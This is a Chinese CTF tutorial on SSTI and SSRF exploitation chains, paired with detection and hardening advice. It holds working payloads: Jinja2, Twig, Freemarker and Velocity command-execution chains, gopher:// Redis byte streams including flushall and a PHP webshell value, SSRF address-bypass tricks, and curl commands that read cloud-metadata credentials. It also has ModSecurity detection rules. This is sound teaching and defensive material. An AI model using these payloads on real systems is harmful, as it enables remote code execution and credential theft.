Web 方向 SSTI 与 SSRF 利用链

从 CTF 竞赛视角讲清 SSTI 与 SSRF 两类漏洞:模板拼接与数据绑定的成因差异、Jinja2 与 Twig 及 Freemarker 的引擎指纹识别、对象链构造与沙箱逃逸原理,以及 SSRF 的协议利用、进制与 DNS rebinding 绕过、云元数据 169.254.169.254 与 IMDSv2 缓解,最后给出两侧的检测与防御要点。

引言

SSTI(服务端模板注入)与 SSRF(服务端请求伪造)是 CTF Web 方向里"看起来不相关、实则同源"的两类题目。两者的共同点是:攻击面都不在应用的业务逻辑上,而在应用信任了不该信任的东西——SSTI 信任了拼进模板的用户数据,SSRF 信任了用户给出的目标地址。理解这一点,比记住 payload 更重要。

SSTI 的杀伤力来自模板引擎的表达能力。模板语言为了渲染方便,天然提供了变量访问、函数调用、属性遍历等能力,一旦用户输入被当作模板源码解析,就等于把一门图灵完备(或近似)的语言交给了攻击者。不同引擎的语法、内置对象、沙箱强度差异很大,因此第一步永远是识别引擎。

SSRF 的杀伤力则来自网络位置。一个只能发起 HTTP 请求的小功能,在云环境里可能直通元数据服务、内网管理面板、未授权 Redis。它的难度不在"能不能发请求",而在绕过地址校验和把盲打变成回显。这两件事决定了 SSRF 是"低危信息泄露"还是"内网入口"。

本文按"SSTI 原理 → 引擎识别 → 对象链 → 沙箱 → 防御 → SSRF 原理 → 协议利用 → 绕过与元数据 → 防御"的顺序展开。所有示例均在本地靶场(如 flask 自建应用、ssrf-lab、Docker 自建 Redis)与授权测试语境下给出,不针对任何真实生产系统。

目录

  1. SSTI 成因:模板拼接与数据绑定
  2. 引擎指纹识别
  3. Jinja2:从算术探测到对象链
  4. Twig 与 Freemarker 的等价路径
  5. 沙箱逃逸与 disable_functions 绕过
  6. SSTI 的检测与防御
  7. SSRF 成因与分类
  8. 协议利用:gopher 打 Redis 与 MySQL
  9. SSRF 绕过、云元数据与防御

1. SSTI 成因:模板拼接与数据绑定

模板引擎的设计初衷是数据与表现分离:模板提供结构,数据通过上下文(context)传入,渲染时只做替换,不执行数据内容。SSTI 的根因是把这条边界打破了。

from flask import Flask, request, render_template_string
app = Flask(__name__)

@app.route("/safe")
def safe():
    # 正确:模板是常量,用户数据只作为变量传入
    return render_template_string("Hello {{ name }}!", name=request.args.get("name", ""))

@app.route("/vuln")
def vuln():
    # 错误:用户输入被拼进模板源码,会被当作语法解析
    return render_template_string("Hello " + request.args.get("name", "") + "!")

区别只有一行,后果完全不同。/safe 传入 {{7*7}} 会原样输出 {{7*7}},因为数据不参与解析;/vuln 传入 {{7*7}} 会输出 49,因为字符串被当作模板源码编译了。

SSTI 的常见触发点比想象中多:邮件模板、报表模板、CMS 主题、多语言文案、错误页渲染、日志格式化(某些日志框架支持模板语法)。判断依据始终是同一个问题——用户输入有没有进入模板源码字符串。前端模板(Vue/Angular 的 {{ }})导致的 XSS 属于另一类问题,不要混为一谈。

2. 引擎指纹识别

不同引擎的 payload 语法不同,盲试会浪费大量请求。高效的顺序是:先发一组区分度高的探测表达式,看哪个被求值,再按回显特征定位引擎与版本。

引擎探测 payload求值结果说明
Jinja2{{7*7}} / {{7*'7'}}49 / 7777777Python 语义,字符串可乘
Twig{{7*7}} / {{7*'7'}}49 / 49PHP 语义,非数字转 0
Freemarker${7*7}49使用 ${} 而非 {{}}
Velocity#set($x=7*7)$x49指令式,#set 开头
Smarty{$smarty.version}版本号直接暴露版本
Thymeleaf[[${7*7}]]49需 th:inline="text"

关键判据是 {{7*'7'}}:Jinja2 输出 7777777(字符串重复),Twig 输出 49(PHP 把 '7' 转成 7)。这一条能直接把 Python 系和 PHP 系分开。Freemarker 用 ${},与 {{}} 系完全不同,发一个 ${{7*7}} 观察回显即可区分。

除了语法,还要收集上下文信息:报错信息里往往带引擎名与版本(如 jinja2.exceptions.UndefinedError、Twig\Error\SyntaxError),HTTP 头里的 Set-Cookie(Flask 是 session=,Django 是 csrftoken,PHP 是 PHPSESSID)也能辅助判断后端栈。CTF 中引擎版本直接决定可用 payload——旧版 Jinja2 与新版在 __subclasses__ 索引上完全不同。

3. Jinja2:从算术探测到对象链

确认是 Jinja2 后,利用路径是"从一个字符串对象出发,沿 Python 对象模型爬到能执行命令的对象"。这条链依赖三个内建属性:

__class__       当前对象的类,字符串字面量的类是 <class 'str'>
__mro__         方法解析顺序,即继承链,str -> object
__subclasses__()  当前类的所有直接子类,返回列表
__globals__     函数的全局命名空间,含该模块导入的所有名字

典型构造思路如下({{ }} 内是表达式,逐层取属性):

{{ ''.__class__.__mro__[1].__subclasses__() }}

这条会返回一个很长的类列表。接下来的目标是在其中找到能读文件或执行命令的类,常见目标是 subprocess.Popen、os._wrap_close、warnings.catch_warnings。定位方式是先确定索引:

{{ ''.__class__.__mro__[1].__subclasses__()[<index>].__init__.__globals__['os'].popen('id').read() }}

<index> 与 Python 版本、已导入模块强相关,不存在通用值,必须先在目标环境枚举。这也是 CTF 里"同一道题换台机器就打不通"的原因。

os 之外的等价入口还有 __builtins__(可拿到 eval/exec)与 __import__:

{{ ''.__class__.__mro__[1].__subclasses__()[<index>].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read() }}

防御侧要理解:这条链的每一环都是 Python 语言自身的反射能力,无法通过过滤单个关键字根治。把 __class__ 加进黑名单,可以用 attr 过滤器或 |attr('__class__') 绕过;过滤下划线可以用 request.args 拼接。真正的根治只有"不把用户输入当模板"。

CTF 中定位索引的实用做法是先让目标返回 __subclasses__() 的全量列表,再在本地用同样的 Python 版本复现并搜索目标类。若回显长度受限,可用 |length 与索引切片配合,或直接尝试按类名过滤:

{{ ''.__class__.__mro__[1].__subclasses__() | length }}
{{ ''.__class__.__mro__[1].__subclasses__()[300] }}

__subclasses__() 的返回顺序由解释器启动后已加载的类决定,因此 Flask 应用启动时导入的模块(werkzeug、jinja2、sqlalchemy)会显著改变索引。这也是为什么本地复现必须与目标保持相同的依赖版本——用 pip freeze 对齐依赖是 CTF 里省时间的做法。

4. Twig 与 Freemarker 的等价路径

Twig(PHP) 的利用路径依赖 PHP 的对象模型与 _self 上下文。早期版本(Twig 1.x)中常见形态是通过 _self 拿到环境对象,再调用其方法:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

新版 Twig(2.x/3.x)默认开启了更严格的沙箱,_self 不再直接暴露 env,需要从 _self 的公开方法或过滤器(如 map、filter、sort)里找可回调点。CTF 中若遇到 Twig,先确认版本再选手法,用 {{_self.env.getVersion()}} 或报错信息判断。

Freemarker(Java) 使用 ${} 语法,利用路径是 freemarker.template.utility.Execute:

<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

前提是该类在 Configuration 中未被 newBuiltinClassResolver 限制。Freemarker 从 2.3.17 起支持 TemplateClassResolver 白名单,默认配置下 ?new() 对 Execute 会直接抛异常,这是官方推荐的加固点。

Velocity(Java) 更直接,通过 Runtime 调用:

#set($e="e")#set($run=$e.getClass().forName("java.lang.Runtime"))#set($m=$run.getMethod("getRuntime",null))#set($p=$m.invoke(null,null).exec("id"))

注意 Velocity 的 #set 赋值不需要 $ 前缀在变量名左侧,这是它与其他引擎语法差异最大的一处。三种引擎的共同点是:利用链的最后一环都是语言自身的反射/动态加载能力,过滤关键字永远只是提高门槛。

5. 沙箱逃逸与 disable_functions 绕过

Jinja2 沙箱(jinja2.sandbox.SandboxedEnvironment)会限制属性访问:以下划线开头的属性、非白名单方法会被 SecurityError 拦截。绕过思路分两类:

  1. 找未受保护的等价入口:|attr 过滤器在部分版本中不受下划线检查约束;__getitem__ 与 __getattribute__ 可通过索引访问;request、config、cycler、joiner 等 Flask 注入的全局对象可提供额外跳板。
  2. 借沙箱外对象:沙箱只约束模板内表达式的属性解析,不改变 Python 运行时。任何从上下文泄漏进模板的普通对象(如数据库连接、缓存客户端)都可以作为逃逸起点。

PHP 的 disable_functions 是另一层常见限制。它禁的是函数调用,不是能力。绕过原理包括:

  • 用未被禁的等价函数(pcntl_exec、mail 的第五参数、imap_open、putenv 配合 LD_PRELOAD)。
  • 通过 FFI(PHP 7.4+)直接调用 C 函数,disable_functions 对 FFI 无效。
  • 借助扩展提供的回调(array_map、usort、preg_replace_callback)间接调用被禁函数——前提是目标函数本身在禁名单之外,或禁名单用了大小写/空格变体绕过(disable_functions 的解析历史上对空格不敏感)。

检测与防御:模板侧开启沙箱、限制可用过滤器与全局对象、把模板源码置于不可写且不可控的位置;PHP 侧除了 disable_functions,还要关闭 allow_url_include、ffi.enable,并在 open_basedir 上收窄文件访问范围。这些配置属于纵深防御,单靠任何一条都不够。

disable_functions 的配置本身也有讲究,写法不规范会留下空隙:

; 错误示范:用逗号加空格分隔,部分 PHP 版本解析后函数名带空格
disable_functions = exec, system, shell_exec

; 正确写法:逗号分隔且不带空格,覆盖常见执行与文件函数
disable_functions = exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec,curl_exec,putenv

; 同时关闭高危扩展与开关
ffi.enable = false
allow_url_include = Off
open_basedir = /var/www/html:/tmp

需要清醒认识:disable_functions 只作用于 PHP 用户态函数,无法约束扩展层与 FFI,也无法阻止通过已有对象的方法调用(如 Imagick、SQLite3 的某些方法)。它是抬高门槛的措施,不是边界。

6. SSTI 的检测与防御

检测侧有三个抓手:

  • 输入探测:对可能进入模板的参数发送 {{7*7}}、${7*7}、#{7*7}、{{7*'7'}} 组合,观察是否被求值。这是 DAST 扫描器(如 tplmap 的思路)的基础手段。
  • 日志特征:模板引擎报错栈(jinja2.exceptions、Twig\Error)出现在应用日志里,说明有畸形模板语法被解析,是强信号。把这类关键字纳入日志告警规则。
  • WAF 规则:对 {{、${、__class__、__globals__ 等特征做检测,但要注意前端模板与富文本场景的误报。

防御侧按优先级排:

  1. 不拼接模板:模板源码来自文件或固定常量,用户数据一律走上下文变量。这是唯一根治手段。
  2. 沙箱化模板环境:Jinja2 用 SandboxedEnvironment,Freemarker 配 TemplateClassResolver 白名单,Twig 保持默认沙箱不放宽。
  3. 输出转义:模板输出的内容在渲染到 HTML 时按上下文转义,避免连带 XSS。
  4. 最小权限:模板渲染进程不持有敏感环境变量与内网凭据,降低逃逸成功后的收益。

在 Web 层加一道拦截,可以覆盖大部分自动化扫描与低级尝试。以 Nginx + ModSecurity 为例,规则只需匹配模板语法特征:

SecRule ARGS "@rx \{\{.*?(7\*7|__class__|__globals__|__subclasses__)" \
  "id:9001,phase:2,deny,status:403,msg:'SSTI probe detected'"

SecRule ARGS "@rx \$\{.*?(Runtime|Execute|getClass)" \
  "id:9002,phase:2,deny,status:403,msg:'Java template probe detected'"

注意这只是检测层,不是防御层:编码变形、参数污染、分块传输都能绕过正则。它的价值在于把明显的探测行为变成告警,为人工分析争取时间。

与 反序列化漏洞与 RCE 利用链 对照阅读会更清晰:SSTI 与反序列化都是"把数据当代码"的变体,防御原则完全一致——隔离数据与代码、限制可用能力、在入口做类型校验。

7. SSRF 成因与分类

SSRF 的成因是服务端替用户发起了请求,且目标地址可控。典型触发点:图片/文件 URL 抓取、Webhook 回调、URL 预览与截图、PDF 导出、代理与转码服务、SSO 元数据拉取。

按可观测性分为两类:

类型特征利用难度
回显型响应体或状态码返回给攻击者低,可直接读内容
盲打型无回显,只能通过副作用推断高,需带外通道(DNS/HTTP 回连)

回显型可以直接读内网页面、探测端口、拉取云元数据。盲打型需要构造带外验证:让目标去请求一个攻击者可控的域名,从 DNS 日志或 HTTP 回连确认请求已发出。CTF 中常见做法是让目标请求自身的内网服务并观察副作用(如写入 Redis 队列、触发某个状态变更)。

盲打型 SSRF 的验证链条通常是"三步确认":

  1. 确认请求发出:让目标请求一个自己可控的域名,观察 DNS 解析日志或 HTTP 回连记录。
  2. 确认协议与端口:用 http://attacker:80/、https://attacker:443/ 分别试,判断是否只允许 80/443。
  3. 确认可达范围:逐步把目标换成内网地址与端口,用响应时间差异做端口扫描(开放端口与关闭端口的超时行为不同)。

这三步在 CTF 与授权测试中都只针对自建环境,且每一步都应有明确的书面授权边界。

分类之后要判断协议支持范围。只用 curl 且限制 http/https 的实现,与用 file_get_contents 且未限制 wrapper 的实现,攻击面差距巨大。判断方法:发一个 file:///etc/passwd、dict://127.0.0.1:6379/info、gopher://127.0.0.1:6379/_info 分别观察响应。

一个典型的脆弱实现长这样(本地靶场示例):

import requests
from flask import Flask, request

app = Flask(__name__)

@app.route("/fetch")
def fetch():
    url = request.args.get("url", "")
    # 只做了最弱的前缀校验,且允许跟随重定向
    if not url.startswith("http"):
        return "invalid url", 400
    r = requests.get(url, timeout=5)   # 默认 allow_redirects=True
    return r.text[:2000]

这段代码有三个独立缺陷:前缀校验挡不住 http://127.0.0.1 与进制写法;allow_redirects=True 让 302 可以跳到任意地址;返回响应体让盲打变回显。修复需要同时处理三点,缺一不可。

8. 协议利用:gopher 打 Redis 与 MySQL

gopher:// 是 SSRF 里最关键的协议,因为它允许携带任意 TCP 字节流(URL 编码后可传二进制),相当于把 SSRF 变成了一个通用 TCP 客户端。这让"只能发 HTTP 请求"的漏洞可以打任意基于文本协议的内网服务。

各协议的利用能力差异如下,按实际危害从高到低排列:

协议能力典型目标限制
gopher://任意 TCP 字节流Redis、FastCGI、Memcached需 URL 编码,长度受限
dict://单行文本命令Redis、探测服务 banner无法传二进制与多行
file://读本地文件/etc/passwd、源码、配置无法写、无法列目录
http(s)://标准 HTTP内网 Web、云元数据无法打非 HTTP 服务
ldap:///tftp://特定协议特定服务取决于后端库支持

打 Redis 的原理是:Redis 使用 RESP 协议,命令之间用 \r\n 分隔,全部是明文文本。用 gopher 把一组命令拼成字节流发送,Redis 就会顺序执行。

目标:向自建靶场 Redis 写入一条键值(仅本地演示)
先清空并设置键,命令用 %0d%0a 表示 CRLF
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$8%0d%0actf-value%0d%0a

拆解这段 payload:*1 表示数组有 1 个元素,$8 表示接下来 8 字节的字符串,flushall 正好 8 字节。RESP 是长度前缀协议,因此每个 $n 的字节数必须精确,否则 Redis 会解析错位。这是手写 gopher payload 最容易出错的地方。

打 MySQL 同理,但难度更高:MySQL 握手后需要认证,而认证响应依赖密码与随机 salt,无法提前构造静态字节流。CTF 中的可行路径是无密码或弱口令场景,或借助 mysqlnd 的某些特性;真实环境中更常见的是用 gopher 打未授权的 Redis、Memcached、Elasticsearch、FastCGI(打 PHP-FPM 可执行任意 PHP 文件,这是经典链)。

dict:// 只能发一行文本,适合探测与简单命令(如 dict://127.0.0.1:6379/info),能力远弱于 gopher。file:// 用于读本地文件,http:// 用于访问内网 Web 服务。

手写 RESP 字节流容易算错长度,用一段本地脚本生成更可靠:

def resp(*args):
    """把命令列表编码成 RESP 数组,用于生成 gopher payload"""
    out = f"*{len(args)}\r\n"
    for a in args:
        a = str(a)
        out += f"${len(a)}\r\n{a}\r\n"
    return out

payload = resp("set", "shell", "<?php system($_GET['c']); ?>")
# 再做 URL 编码(保留字母数字与 -._~),前缀 gopher://127.0.0.1:6379/_
from urllib.parse import quote
print("gopher://127.0.0.1:6379/_" + quote(payload, safe=""))

这段代码只用于在自建环境里理解 RESP 的长度前缀机制。真实场景中向生产 Redis 写文件属于高危操作,必须获得明确授权。

防御侧:默认禁用 gopher/dict/file 等非必要协议,只允许 http/https;对目标地址做解析后校验而非字符串校验(防 DNS rebinding);禁止跟随重定向(防 302 跳转绕过);出站流量走统一代理并做域名白名单。Kubernetes 环境下还应结合 Kubernetes 安全加固 中的 NetworkPolicy,把工作负载的出站能力限制到必需范围。

9. SSRF 绕过、云元数据与防御

9.1 地址校验的绕过手法

黑名单校验(“不能是 127.0.0.1、不能是内网段”)是最常见也最容易绕的实现。主要绕过路径:

手法示例绕过的校验
进制转换http://2130706433/十进制形式的 127.0.0.1
八进制/十六进制http://0177.0.0.1/、http://0x7f000001/字符串匹配 127.0.0.1
短域名与 DNShttp://127.0.0.1.nip.io/域名黑名单
@ 混淆http://expected.com@127.0.0.1/只检查 URL 前缀
解析歧义http://127.0.0.1#@evil.com/校验与请求用不同解析器
302 跳转攻击者站点返回 302 到内网只校验首跳地址
DNS rebindingTTL=0 的域名先解析为公网、后解析为内网校验时解析、请求时再解析
IPv6 与映射http://[::ffff:127.0.0.1]/只过滤 IPv4 写法

根因都是同一个:校验用的表示形式与请求时使用的表示形式不一致。根治办法是"解析成 IP 后再校验,且请求时复用同一个已校验的 IP",而不是对原始字符串做匹配。

DNS rebinding 值得单独说明,因为它的窗口最隐蔽:攻击者控制 evil.com 并设置极短 TTL(甚至 0)。第一次解析返回公网 IP,应用校验通过;紧接着攻击者把记录改成 127.0.0.1,应用在真正发起连接时再解析一次,于是连到了内网。防护的关键不是"校验一次",而是"只解析一次,把解析出的 IP 锁死用于连接",同时禁用 HTTP 客户端的连接池复用带来的地址缓存歧义。

9.2 云元数据与 IMDSv2

云环境里 169.254.169.254 是元数据服务地址,能返回实例角色凭据、用户数据、实例 ID 等。SSRF 命中它往往直接等于拿到云上身份。AWS 的缓解措施是 IMDSv2:要求先 PUT /latest/api/token 获取带 TTL 的 token,后续请求携带该 token。由于 IMDSv2 的 token 获取需要 PUT 方法与特定头,单纯的 GET 型 SSRF 无法直接利用。

IMDSv1(已不推荐):直接 GET 即可拿到凭据
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

IMDSv2:必须先申请 token,且 token 有效期最短 1 秒
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/

要点:强制 IMDSv2(HttpTokens: required)能挡掉绝大多数 GET 型 SSRF,但不是万能——若应用本身支持 PUT 或能自定义方法与头(如某些代理接口),仍可能被利用。GCP 与 Azure 也各有防护机制(GCP 要求 Metadata-Flavor: Google 头,Azure 要求 Metadata: true 头),共同思路都是"加一个 SSRF 难以伪造的必需头"。

9.3 检测与防御清单

  • 出站域名/IP 白名单,默认拒绝,而不是黑名单。
  • 只允许 http/https,显式禁用 gopher/dict/file/ftp。
  • 禁止跟随重定向;若必须跟随,对每一跳重新校验。
  • 解析后校验 IP,并锁定校验结果用于实际连接(防 rebinding)。
  • 独立出站网段 + NetworkPolicy,元数据服务强制 IMDSv2。
  • 日志记录所有出站请求的目标与来源参数,对访问 169.254.169.254 或内网段的行为实时告警。

权衡取舍

决策点严格方案宽松方案建议
模板来源只允许文件模板允许用户自定义模板业务需要自定义时用沙箱 + 白名单语法
SSTI 过滤沙箱环境 + 关键字检测仅关键字黑名单黑名单只能提高门槛,必须配沙箱
SSRF 协议仅 http/https全协议开放按业务最小化,转码类需求可单独放行
地址校验解析后 IP 白名单字符串黑名单黑名单几乎必被绕过,不单独使用
重定向禁止跟随跟随但限制次数若跟随,必须每跳重校验
云元数据强制 IMDSv2保留 IMDSv1强制 v2 成本极低,收益极高

常见坑清单

  1. 把 {{7*7}} 未被求值就断定没有 SSTI——可能模板上下文是字符串拼接后的二次渲染,换个参数位置再试。
  2. 用同一份 Jinja2 payload 跨环境复用——__subclasses__ 索引随 Python 版本与导入模块变化,必须现场枚举。
  3. 过滤了 __class__ 就以为安全——|attr('__class__') 与字符串拼接可绕过,应上沙箱而非黑名单。
  4. 只在前端输入框测 SSTI——真正危险的是模板源码拼接点(邮件模板、报表模板),要从代码侧定位。
  5. SSRF 只校验字符串 127.0.0.1——十进制、八进制、@、IPv6 映射都能绕过,应解析后校验 IP。
  6. 校验时解析域名、请求时再解析一次——DNS rebinding 的经典窗口,必须复用校验结果。
  7. 允许跟随 302 却不重校验——首跳是白名单域名,第二跳直通内网。
  8. 以为禁了 http 就没有 SSRF——gopher/dict/file 往往未禁,杀伤力更大。
  9. 认为强制 IMDSv2 后元数据绝对安全——支持自定义方法或头的代理接口仍可能绕过,需配合出站白名单。
  10. 盲打型 SSRF 不做带外验证就报"无影响"——没有 DNS/HTTP 回连证据不等于漏洞不存在。

小结

SSTI 与 SSRF 的共同教训是"不要信任不该信任的输入":一个信任了模板语法,一个信任了目标地址。两类漏洞的利用链都高度依赖环境细节——SSTI 依赖引擎版本与 Python/PHP 对象模型,SSRF 依赖网络拓扑与协议支持范围。这决定了它们没有通用 payload,只有通用的方法论:识别环境、构造最小验证、逐步扩展。

防御侧的共同答案是"收窄能力边界":模板走沙箱并禁止拼接,出站走白名单并解析后校验。两者都属于"改造成本不高、收益很大"的加固项,优先级应当排在 WAF 规则之前。把这类边界收窄后,即使应用层还有漏洞,攻击者能触达的范围也被压缩到了最小。

下一步建议把本文与 Web 方向 SQL 注入与 WAF 绕过 、Web 方向 PHP 特性与绕过技巧 串起来练:三者覆盖了 Web 方向最常考的注入类题型,且防御思路(数据与代码分离、最小权限、纵深检测)可以统一理解。

继续阅读

探索更多技术文章

浏览归档,发现更多关于系统设计、工具链和工程实践的内容。

全部文章 返回首页

「网络安全攻防」更多文章

  1. 流量分析与协议逆向
  2. 椭圆曲线与格攻击
  3. Windows 提权与 AD 内网渗透